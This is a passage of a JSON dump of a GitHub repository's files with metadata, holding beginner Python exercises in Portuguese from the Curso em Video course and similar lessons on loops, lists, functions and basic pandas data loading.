\"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 420,\n \"license_type\": \"permissive\",\n \"max_line_length\": 54,\n \"num_lines\": 17,\n \"path\": \"/Curso-Em-Video/M3/ex82.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nvetor = []\\npar = []\\nimpar = []\\nwhile True:\\n n = int(input('Digite um número: '))\\n vetor.append(n)\\n op = str(input('Deseja continuar? [S/N]')).upper()\\n if n % 2 ==0:\\n par.append(n)\\n else:\\n impar.append(n)\\n if op == 'N':\\n break\\nprint(f'\\\\n O vetor gerado foi:{vetor}'\\n f'\\\\n Os números pares foram: {par}'\\n f'\\\\n Os números impares foram: {impar}')\\n\"\n },\n {\n \"alpha_fraction\": 0.7307692170143127,\n \"alphanum_fraction\": 0.7615384459495544,\n \"avg_line_length\": 31.75,\n \"blob_id\": \"e6c45cc80c56ae7d0a29c605b874677f05aeff0e\",\n \"content_id\": \"b2984e79705e76a523ac0c40ff26d45a530332f6\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 130,\n \"license_type\": \"permissive\",\n \"max_line_length\": 45,\n \"num_lines\": 4,\n \"path\": \"/Curso-Em-Video/M3/utilidadecev/teste.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from utilidadecev import moeda\\nfrom utilidadecev import dado\\np = dado.leiaDinheiro('Digite o preco: R$ ')\\nmoeda.resumo(p, 80 ,35)\"\n },\n {\n \"alpha_fraction\": 0.6511500477790833,\n \"alphanum_fraction\": 0.6670317649841309,\n \"avg_line_length\": 41.44186019897461,\n \"blob_id\": \"2e470eb0fb67a798de2af3e7f8ab59e8344d2f76\",\n \"content_id\": \"034cd7ba0a2598eae0fb54c86ef5551d060b9137\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1837,\n \"license_type\": \"permissive\",\n \"max_line_length\": 135,\n \"num_lines\": 43,\n \"path\": \"/Curso-Em-Video/M3/listas.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n\\\"\\\"\\\"\\n#Listas são variaveis compostas mutaveis\\n * Podemos adicionar itens a uma lista com o cumando append()\\n ex: lista.append('x') -> adiciona o elemento 'x' na lista\\n * Podemos definir onde será adicionado o novo item com o comando insert()\\n ex: lista.insert(0,'x') -> adicion o elemento 'x' na posição 0 da lista\\n * Podemos apagar intens de uma lista com o comando del, pop ou remove\\n ex: - del lista[x] -> deleta o elemento xº elemento da lista.\\n - lista.pop(x) -> deleta o xº elemento da lista, caso não receba nenhum parametro o ultimo elemento da lista será deletado.\\n - lista.remove('x') deleta o VALOR 'x' da lista.\\n\\n * Podemos utilizar os operadore if in para verificar a existencia\\n de determinados itens na lista.\\n\\n * Podemos utilizar o range para criar uma lista.\\n ex: lista = list(range(4,11)) -> gera a lista :[4,5,6,7,8,9,10]\\n OBS: o enumerate também funciona em listas\\n\\n * Podemos utilizar o metodo sort para ordenar os valores de uma lista\\n ex: lista.sort()\\n obs: caso queia a ordem inversa utilize o parametro reverse =True\\n ex: lista.sort(reverse=True)\\n * Podemos usar o len para contar os elementos de uma lista\\n ex: lista.len()\\n\\\"\\\"\\\"\\nnum = [2,5,9,1]\\nprint(num)\\nnum[2] = 3\\nprint(num)\\nnum.append(2)\\nprint(num)\\nnum.remove(2)#remover ira remover o primeiro elemento de valor '2' da esquerda para a direita\\nnum.sort()\\nprint(num)\\nnum.sort(reverse=True)\\nprint(num)\\na = [2,3,4,7]\\n# a = b -> neste caso estamos ligando duas listas de forma que a alteração em uma seja repetida na outra\\nb = a[:] # -> neste caso estamos fazendo com que 'b' receba todos os itens de 'a' em outras palavras estamos fazendo uma copia de 'b'\\nb[2] = 8\\nprint(f'Lista A: {a}')\\nprint(f'Lista B: {b}')\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5553278923034668,\n \"alphanum_fraction\": 0.5840163826942444,\n \"avg_line_length\": 27.705883026123047,\n \"blob_id\": \"00fe887d8462f33811385bdac25d60bbf423c19b\",\n \"content_id\": \"c66e073936b9cce9313964d5e48c901105629ea4\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 496,\n \"license_type\": \"permissive\",\n \"max_line_length\": 52,\n \"num_lines\": 17,\n \"path\": \"/Curso-Em-Video/M3/ex75.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nn3 = 0\\nrepet = 0\\npar = 0\\nnum =(int(input('Digite um número: ')),\\n int(input('Digite um número: ')),\\n int(input('Digite um número: ')),\\n int(input('Digite um número: ')))\\nfor p,n in enumerate(num):\\n if n % 2 ==0:\\n par +=1\\n if 3 in num:\\n n3 = p\\nprint(f'Você digitou os valores: {num}')\\nprint(f'O valor 9 se repetiun {num.count(9)} vezes')\\nprint(f'O número 3 apareceu na posição {n3}')\\nprint(f'O total de valore pares foram {par}')\\n\"\n },\n {\n \"alpha_fraction\": 0.5309168696403503,\n \"alphanum_fraction\": 0.5671641826629639,\n \"avg_line_length\": 30.33333396911621,\n \"blob_id\": \"4ebd834bf0ed3fd4af45c1ffc7bfd9b6cb4a35fe\",\n \"content_id\": \"f7cacbfee293042984474eaf34c478bf5d6882ed\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 472,\n \"license_type\": \"permissive\",\n \"max_line_length\": 83,\n \"num_lines\": 15,\n \"path\": \"/Curso-Em-Video/M3/ex113.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def leiaInt(msg):\\n while True:\\n try:\\n n = int(input(msg))\\n except (ValueError, TypeError):\\n print('\\\\033[31mERRO: por favor digite um número inteiro válido.\\\\033[m')\\n continue\\n except (KeyboardInterrupt):\\n print('\\\\n \\\\033[31mEntrada de dados interropida pelo usúario.\\\\033[m ')\\n return 0\\n else:\\n return n\\n\\nnum =leiaInt('Digite um valor: ')\\nprint(f'O valor digitado foi {num}')\"\n },\n {\n \"alpha_fraction\": 0.5584415793418884,\n \"alphanum_fraction\": 0.6883116960525513,\n \"avg_line_length\": 25,\n \"blob_id\": \"70ee41d48afaf7dd4ed4a72515272087bfba0b2b\",\n \"content_id\": \"fd8760b613717b3f6886b816cbd4f4b1e0122a42\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 77,\n \"license_type\": \"permissive\",\n \"max_line_length\": 38,\n \"num_lines\": 3,\n \"path\": \"/Curso-Em-Video/M3/ex110.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import mod110\\np = float(input('Digite o preco: R$'))\\nmod110.resumo(p, 80 ,35)\"\n },\n {\n \"alpha_fraction\": 0.6079545617103577,\n \"alphanum_fraction\": 0.6420454382896423,\n \"avg_line_length\": 24.14285659790039,\n \"blob_id\": \"b46b82f0706497896e2d05cd5fd750544cb0e3b0\",\n \"content_id\": \"3be85e2181e30a5a1c903dcd41ae9dba6a847dff\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 177,\n \"license_type\": \"permissive\",\n \"max_line_length\": 64,\n \"num_lines\": 7,\n \"path\": \"/Curso-Em-Video/M2/ex46.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nimport time\\nstart = input('Aperte ENTER para iniciar a contagem regressiva')\\nfor i in range(10,0,-1):\\n print(i)\\n time.sleep(1)\\nprint('LANÇAR!!!')\\n\"\n },\n {\n \"alpha_fraction\": 0.49250534176826477,\n \"alphanum_fraction\": 0.5128479599952698,\n \"avg_line_length\": 25.714284896850586,\n \"blob_id\": \"64b769a5e0b5a9f171d89ab4068fdc85c0839681\",\n \"content_id\": \"97faa47862f9e6782e4f880cd93701da93e88652\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 945,\n \"license_type\": \"permissive\",\n \"max_line_length\": 76,\n \"num_lines\": 35,\n \"path\": \"/Curso-Em-Video/M3/ex105.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def notas(*n, sit=''):\\n \\\"\\\"\\\"\\n -> Função para analisar notas e situações de varios alunos.\\n :param n: uma ou mais notas dos alunos\\n :param sit: valor opcional, indicando se deve ou não aceitar a validação\\n :return: dicionario com varias informções sobre a situação da turma.\\n \\\"\\\"\\\"\\n menor =99999\\n maior = 0\\n tot = 0\\n aluno = dict()\\n situacao = ''\\n for i in n:\\n tot+= i\\n med = tot/len(n)\\n if i > maior:\\n maior = i\\n if i < menor:\\n menor = i\\n if med <= 7:\\n situacao ='BOA'\\n if med > 5 and med < 7:\\n situacao ='Rasoavel'\\n if med < 6:\\n situacao ='Ruim'\\n aluno['total'] = len(n)\\n aluno['maior'] = maior\\n aluno['menor'] = menor\\n aluno['media'] = med\\n if sit:\\n aluno['Situacao'] = situacao\\n return aluno\\n\\nresp = notas(5.5,2.5,10, 6.5, sit=True)\\nprint(resp)\"\n },\n {\n \"alpha_fraction\": 0.6486486196517944,\n \"alphanum_fraction\": 0.6554054021835327,\n \"avg_line_length\": 36,\n \"blob_id\": \"fc3edb2cbcd8f8353f34fb49568926b1e99061bc\",\n \"content_id\": \"b87ad7d4aee6473c044a77f95148718adf792585\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 151,\n \"license_type\": \"permissive\",\n \"max_line_length\": 59,\n \"num_lines\": 4,\n \"path\": \"/Curso-Em-Video/M1/ex16.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nfrom math import trunc\\nnum = float(input('Digite um número: '))\\nprint(f'O valor do inteiro do número {num} é {trunc(num)}')\\n\"\n },\n {\n \"alpha_fraction\": 0.5170316100120544,\n \"alphanum_fraction\": 0.5571776032447815,\n \"avg_line_length\": 42.26315689086914,\n \"blob_id\": \"0cd23836944857f5c7fde24886bc6ba9ee5ddced\",\n \"content_id\": \"25b33b95d34de970a0f85d35c04efa14b70faa5a\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 836,\n \"license_type\": \"permissive\",\n \"max_line_length\": 94,\n \"num_lines\": 19,\n \"path\": \"/Curso-Em-Video/M2/ex44.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nvalor = float(input('Digite o valor do produto: '))\\nop = int(input(\\\"\\\"\\\"\\\\nEscolha a forma de pagamento:\\n \\\\n [1] -> Á vista no dinheiro 10% de esconto\\n \\\\n [2] -> Á vista no cartão 5% de desconto\\n \\\\n [3] -> Até 2x no cartão o preço normal\\n \\\\n [4] -> 3X ou mais no cartão 20% de juros\\n \\\"\\\"\\\"))\\nif op == 1:\\n nvalor = valor - (valor*(10/100))\\n print(f'O Preço original é {valor} com o desconto do pagamento em dinheiro fica {nvalor}')\\nelif op == 2:\\n nvalor = valor - (valor*(5/100))\\n print(f'O novo preço com desconto de 5% é {nvalor}')\\nelif op == 3:\\n print(f'O preço do produto permanece {valor}')\\nelif op == 4:\\n nvalor = valor + (valor*(20/100))\\n print(f'O novo prço com acrescimo de 20% é {nvalor}')\\n\"\n },\n {\n \"alpha_fraction\": 0.6826003789901733,\n \"alphanum_fraction\": 0.6921606063842773,\n \"avg_line_length\": 86.16666412353516,\n \"blob_id\": \"3c914b1cf788b2e44d9f6d0b7e36748ce5e9cb7f\",\n \"content_id\": \"fdce2a7b447ab24090a9e4fbe6302565352109df\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 535,\n \"license_type\": \"permissive\",\n \"max_line_length\": 237,\n \"num_lines\": 6,\n \"path\": \"/Curso-Em-Video/M3/ex73.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\ntime = ('Corinthias','Palmeiras','Santos','Grêmio','Cruzeiro','Flamengo','Vasco','Chapecoence','Atletico','Botafogo','Atlético-PR','Bahia','São Paulo','Fluminense','Sport Recife','EC Vitoria','Coritba','Avaí','Ponte Preta','Atletico-GO')\\nprint(f'\\\\n Lista dos times do brasileirão: {time}')\\nprint(f'\\\\n Os 5 primeiros times do brasileirão são: {time[:5]}')\\nprint(f'\\\\n Os 4 últimos times do brasileirão são: {time[-4:]}')\\nprint(f'\\\\n Lista dos times do brasileirão em ordem alfabética: {sorted(time)}')\\n\"\n },\n {\n \"alpha_fraction\": 0.5830258131027222,\n \"alphanum_fraction\": 0.6974169611930847,\n \"avg_line_length\": 53.400001525878906,\n \"blob_id\": \"2b4e89c4dd2e1acf40f9c51bcf82be363fffe616\",\n \"content_id\": \"e38d9355034d3c8d1cf56c99a709dd69c5b01b5b\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 273,\n \"license_type\": \"permissive\",\n \"max_line_length\": 75,\n \"num_lines\": 5,\n \"path\": \"/Curso-Em-Video/M3/ex108.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import mod108\\np = float(input('Digite o preco: R$'))\\nprint(f'A metade de {mod108.moeda(p)} é {mod108.moeda(mod108.metade(p))} ')\\nprint(f'O dobro de {mod108.moeda(p)} é {mod108.moeda(mod108.dobro(p))}')\\nprint(f'Aumentando 10%, temos {mod108.moeda(mod108.aumentar(p,10))}')\"\n },\n {\n \"alpha_fraction\": 0.41208791732788086,\n \"alphanum_fraction\": 0.44505494832992554,\n \"avg_line_length\": 19.22222137451172,\n \"blob_id\": \"d12aca6c7713361bd51156ce9a5d3c76dafcdcef\",\n \"content_id\": \"528925bd09cedfdacace8265afd7c7cecd77b025\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 184,\n \"license_type\": \"permissive\",\n \"max_line_length\": 40,\n \"num_lines\": 9,\n \"path\": \"/Curso-Em-Video/M2/ex60.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nprint('\\\\n----------Fatorial-----------')\\nn = int(input('Digite um número: '))\\nnf=n-1\\nn1 = n\\nwhile nf >0:\\n n = n * nf\\n nf = nf - 1\\nprint(f'{n1}! é {n}')\\n\"\n },\n {\n \"alpha_fraction\": 0.6768837571144104,\n \"alphanum_fraction\": 0.6781609058380127,\n \"avg_line_length\": 36.28571319580078,\n \"blob_id\": \"d0cc3056c08a51d8235812e1e0063d4a53161665\",\n \"content_id\": \"251683ecc2aa9b5a4b2a40cb6229c7c4c8b97966\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 798,\n \"license_type\": \"permissive\",\n \"max_line_length\": 101,\n \"num_lines\": 21,\n \"path\": \"/Curso-Em-Video/M1/modulos.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n\\\"\\\"\\\"\\n* Podemos importar bibliotecas do python com: import <biblioteca>\\n -> Na necessidade de apenas uma função de um modulo especifico: from <biblioteca> import <função>\\n\\n* Exmplo de modulos usados:\\n math -> biblioteco de funções matematicas\\n - ceil: Arredonda um valor para cima\\n - floor: Arredonda um valor para baixo\\n - trunc: Trunca um número(Elimina o que esta depois da virgula)\\n - pow: pontenciação\\n - sqrt: Calcula a raiz quadrada de um número\\n - Fatorial: olha o nome.\\n random -> funções com números randomicos\\n* pesquise o PyId no site oficial do python para ver o index de bibliotecas\\n\\\"\\\"\\\"\\nimport math\\n\\nnum = int(input('Digite um número: '))\\nraiz = math.sqrt(num)\\nprint(f'A raiz de {num} é {raiz}')\\n\"\n },\n {\n \"alpha_fraction\": 0.7182539701461792,\n \"alphanum_fraction\": 0.7301587462425232,\n \"avg_line_length\": 32.599998474121094,\n \"blob_id\": \"c83433b06e6588a7dbf7d12b50c0e549bce6cadc\",\n \"content_id\": \"70c5d0b992a2a8d148d9cc79a233f02607c7af24\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 534,\n \"license_type\": \"permissive\",\n \"max_line_length\": 119,\n \"num_lines\": 15,\n \"path\": \"/curso_monitoria/break.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Break\\n'''\\nA instrução break finaliza a iteração e o Script continua a execução normalmente. O objetivo dessa instrução é fornecer\\na capacidade de forçar a interrupção da iteração.\\n\\nA seguir, temos um código simples que utiliza a instrução break pra finalizar a execução do laço de repetição while,\\nquando a condição definida com a instrução if retornar verdadeiro.\\n'''\\nx = 0\\nfor x in range(0,11):\\n x+=1\\n if(x==5):\\n print(\\\"Interrompendo a execução da repetição.\\\")\\n break\\n print(x)\\n\"\n },\n {\n \"alpha_fraction\": 0.4762931168079376,\n \"alphanum_fraction\": 0.4913793206214905,\n \"avg_line_length\": 26.294116973876953,\n \"blob_id\": \"099feb966ae3e25bd4cbeb24ab4c4e4ea1b48825\",\n \"content_id\": \"ddfde7256ab229268164138290de89fcc50afd5d\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 466,\n \"license_type\": \"permissive\",\n \"max_line_length\": 65,\n \"num_lines\": 17,\n \"path\": \"/Curso-Em-Video/M3/ex80.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nvetor = []\\nfor i in range(0,5):\\n n = int(input('Digie um valor: '))\\n if i == 0:\\n vetor.append(n)\\n elif n > vetor[len(vetor)-1]:\\n vetor.append(n)\\n else:\\n #varre a lista para encontrar a posição correto do numero\\n pos = 0\\n while pos < len(vetor):\\n if n <= vetor[pos]:\\n vetor.insert(pos,n)\\n break\\n pos +=1\\nprint(f'O vetor gerado foi: {vetor}')\\n\"\n },\n {\n \"alpha_fraction\": 0.7493606209754944,\n \"alphanum_fraction\": 0.7595908045768738,\n \"avg_line_length\": 42.55555725097656,\n \"blob_id\": \"2d53191d8d900f50734112296d9c49a8c7ee5337\",\n \"content_id\": \"0d2f751cf610e232609ee8deee1938b252412f53\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 391,\n \"license_type\": \"permissive\",\n \"max_line_length\": 108,\n \"num_lines\": 9,\n \"path\": \"/Introdução a Ciência de Dados/alura_intro/aula01.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pandas as pd\\nuri =\\\"https://raw.githubusercontent.com/alura-cursos/introducao-a-data-science/master/aula4.1/movies.csv\\\"\\nfilmes = pd.read_csv(uri)\\n#print(filmes)\\nfilmes.columns = [\\\"filmes_ID\\\",\\\"titulo\\\",\\\"genero\\\"]\\nprint(filmes.head())\\nurin = \\\"https://raw.githubusercontent.com/alura-cursos/introducao-a-data-science/master/aula1.2/ratings.csv\\\"\\nnotas = pd.read_csv(urin)\\nprint(notas.head())\"\n },\n {\n \"alpha_fraction\": 0.6536312699317932,\n \"alphanum_fraction\": 0.6564245820045471,\n \"avg_line_length\": 38.77777862548828,\n \"blob_id\": \"2212882c66edba18cdc748396ead4bdb4940a7d6\",\n \"content_id\": \"dd3fdf9212ebac0ace846f3c95f68239357de9be\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 365,\n \"license_type\": \"permissive\",\n \"max_line_length\": 51,\n \"num_lines\": 9,\n \"path\": \"/Curso-Em-Video/M1/dissecando.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nx = input(\\\"Digite algo: \\\")\\nprint(f'O tipo primitivo deste valor é: {type(x)}')\\nprint(f'Só tem espaços? {x.isspace()}')\\nprint(f'so tem numero? {x.isnumeric()}')\\nprint(f'É alfanumerico? {x.isalpha()}')\\nprint(f'Está entre maiusculas? {x.isupper()}')\\nprint(f'está em minusculas? {x.islower()}')\\nprint(f'Está capitalizada? {x.istitle()}')\\n\"\n },\n {\n \"alpha_fraction\": 0.4888579249382019,\n \"alphanum_fraction\": 0.538997232913971,\n \"avg_line_length\": 28.91666603088379,\n \"blob_id\": \"545e8a2c181d6ab853c87d75b987694234c3ae90\",\n \"content_id\": \"435e91699bc9c75b4cc8aec3a443ddb016f0a4eb\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 720,\n \"license_type\": \"permissive\",\n \"max_line_length\": 71,\n \"num_lines\": 24,\n \"path\": \"/Curso-Em-Video/M3/ex89.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\ntoken = list()\\nwhile True:\\n name =str(input('Digite o nome do aluno: '))\\n grd1 = float(input('Nota 1: '))\\n grd2 = float(input('Nota 2: '))\\n avg = (grd1 + grd2)/2\\n token.append([name,[grd1,grd2],avg])\\n op =str(input('Deseja continuar? '))\\n if op in 'Nn':\\n break\\nprint('-=-'*30)\\nprint(f'{\\\"NO.\\\":<4}{\\\"NOME\\\":10}{\\\"MÉDIA\\\":>8}')\\nprint('-'*26)\\nfor i, a in enumerate(token):\\n print(f'{i:<4}{a[0]:<10}{a[2]:>8.1f}')\\nwhile True:\\n print('-'*36)\\n opn =int(input('Mostrar as notas de qual aluno? (999 interrompe)'))\\n if opn ==999:\\n print('Finalizando...')\\n break\\n if opn<= len(token) - 1:\\n print(f'Notas de {token[opn][0]} são {ficha[opc][1]}')\\n\"\n },\n {\n \"alpha_fraction\": 0.5845410823822021,\n \"alphanum_fraction\": 0.6618357300758362,\n \"avg_line_length\": 40.599998474121094,\n \"blob_id\": \"6751c23b6f8a67bd0e1b2d4ed98765651fa4bbd3\",\n \"content_id\": \"6f48914765c3edd5d8e3ce9ad44f5320fe1fec5c\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 209,\n \"license_type\": \"permissive\",\n \"max_line_length\": 57,\n \"num_lines\": 5,\n \"path\": \"/Curso-Em-Video/M3/ex107.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import mod107\\np = float(input('Digite o preco: R$'))\\nprint(f'A metade de {p} é R${mod107.metade(p)} ')\\nprint(f'O dobro de {p} é R${mod107.dobro(p)}')\\nprint(f'Aumentando 10%, temos R${mod107.aumentar(p,10)}')\"\n },\n {\n \"alpha_fraction\": 0.5753424763679504,\n \"alphanum_fraction\": 0.5821917653083801,\n \"avg_line_length\": 21.461538314819336,\n \"blob_id\": \"ce5f05488d3bedb725c4e9e89fed29cfc0da1666\",\n \"content_id\": \"e0d6fd6aaf59a02311dde759c076f1092a44b9f5\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 295,\n \"license_type\": \"permissive\",\n \"max_line_length\": 57,\n \"num_lines\": 13,\n \"path\": \"/analizador.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import re\\n\\nexpression = input(\\\"Digite a expresão a ser analizada: \\\")\\n\\ndef space(x):\\n total_space = 0\\n for i in x:\\n if x.find(''):\\n total_space += 1\\n return total_space\\n\\nprint(f'\\\\n Expressão: {expression}'\\n f'\\\\n Total de espaçosi: {space(expression)}')\\n\"\n },\n {\n \"alpha_fraction\": 0.5444126129150391,\n \"alphanum_fraction\": 0.5472779273986816,\n \"avg_line_length\": 33.900001525878906,\n \"blob_id\": \"b58ae84cd048cc229fe99d4e55538781ee165c72\",\n \"content_id\": \"f6858591f1b72926969e85b357079eb17410443e\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 349,\n \"license_type\": \"permissive\",\n \"max_line_length\": 57,\n \"num_lines\": 10,\n \"path\": \"/Curso-Em-Video/M3/ex77.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\npalavras = ('aprender','programar','linguagem','python',\\n 'curso','gratis','estudar','praticar',\\n 'trabalhar','mercado','programador','futuro')\\n\\nfor p in palavras:\\n print(f'\\\\n Na palavra {p} temos: ', end='')\\n for letra in p:\\n if letra.lower() in 'aeiou':\\n print(letra, end=' ')\\n\"\n },\n {\n \"alpha_fraction\": 0.7220543622970581,\n \"alphanum_fraction\": 0.731117844581604,\n \"avg_line_length\": 24.538461685180664,\n \"blob_id\": \"aedc14320f07471c8c0d0a4408fc558039aacbbe\",\n \"content_id\": \"e110f333eb2e412505d6b235b918d10207521ab4\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 343,\n \"license_type\": \"permissive\",\n \"max_line_length\": 50,\n \"num_lines\": 13,\n \"path\": \"/Curso-Em-Video/M3/modulos.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import modulos2\\n\\\"\\\"\\\"\\n# Vantagens da modularização\\n- Organização do código\\n- Facilidade na manutenção\\n- Ocultação de código detalhado\\n- Reutilizar o codigo em outros projetos\\n\\n\\\"\\\"\\\"\\nnum = int(input('Digite um valor'))\\nfat = modulos2.fatorial(num)\\nprint(f'O fatorial de {num} é {fat}')\\nprint(f'O dobro de {num} é {modulos2.dobro(num)}')\"\n },\n {\n \"alpha_fraction\": 0.5611510872840881,\n \"alphanum_fraction\": 0.5719424486160278,\n \"avg_line_length\": 24.363636016845703,\n \"blob_id\": \"4859611a09f19eeb06979af6e91ecaa5acd77403\",\n \"content_id\": \"a9a4a5025d48f86cdde89dba532cb36dac028149\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 278,\n \"license_type\": \"permissive\",\n \"max_line_length\": 57,\n \"num_lines\": 11,\n \"path\": \"/Paradigmas_Program/Produto.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"class Produto:\\n def __init__(self, idt, descricao, preco=0.0, qtd=1):\\n self.idt = idt\\n self.descricao = descricao\\n self.preco = preco\\n self.qtd = qtd\\n\\n def get_descricao(self):\\n return self.descricao\\n def get_preco(self):\\n pass\"\n },\n {\n \"alpha_fraction\": 0.6061007976531982,\n \"alphanum_fraction\": 0.6511936187744141,\n \"avg_line_length\": 40.83333206176758,\n \"blob_id\": \"aeb0329976587d6d5f1aa07ca94a58ddecfd7d23\",\n \"content_id\": \"31c1468707fe6fa429a7a447f36ec2f30f1c4ede\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 759,\n \"license_type\": \"permissive\",\n \"max_line_length\": 79,\n \"num_lines\": 18,\n \"path\": \"/Curso-Em-Video/M2/ex42.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nr1 = float(input('Digite o valor da reta 01: '))\\nr2 = float(input('Digite o valor da reta 02: '))\\nr3 = float(input('Digite o valor da reta 03:'))\\n\\nif r1 < r2 + r3 and r2 < r1 + r3 and r3 < r2 + r1:\\n triangulo = True\\n print('Esse valores geram um triagunlo ')\\nelse:\\n triagunlo = False\\n print('Esse valores não geram um triagunlo')\\n\\nif triangulo == True and r1 == r2 == r3:\\n print('Por possuir todos os lados iguais esse triagunlo é EQUILATERO')\\nelif triangulo == True and r1 == r2 != r3 or r2 == r3 != r1 or r3 == r1 != r2:\\n print('Por possuir dois lados iguais esse triangulo é isórceles')\\nelif triangulo == True and r1 != r2 != 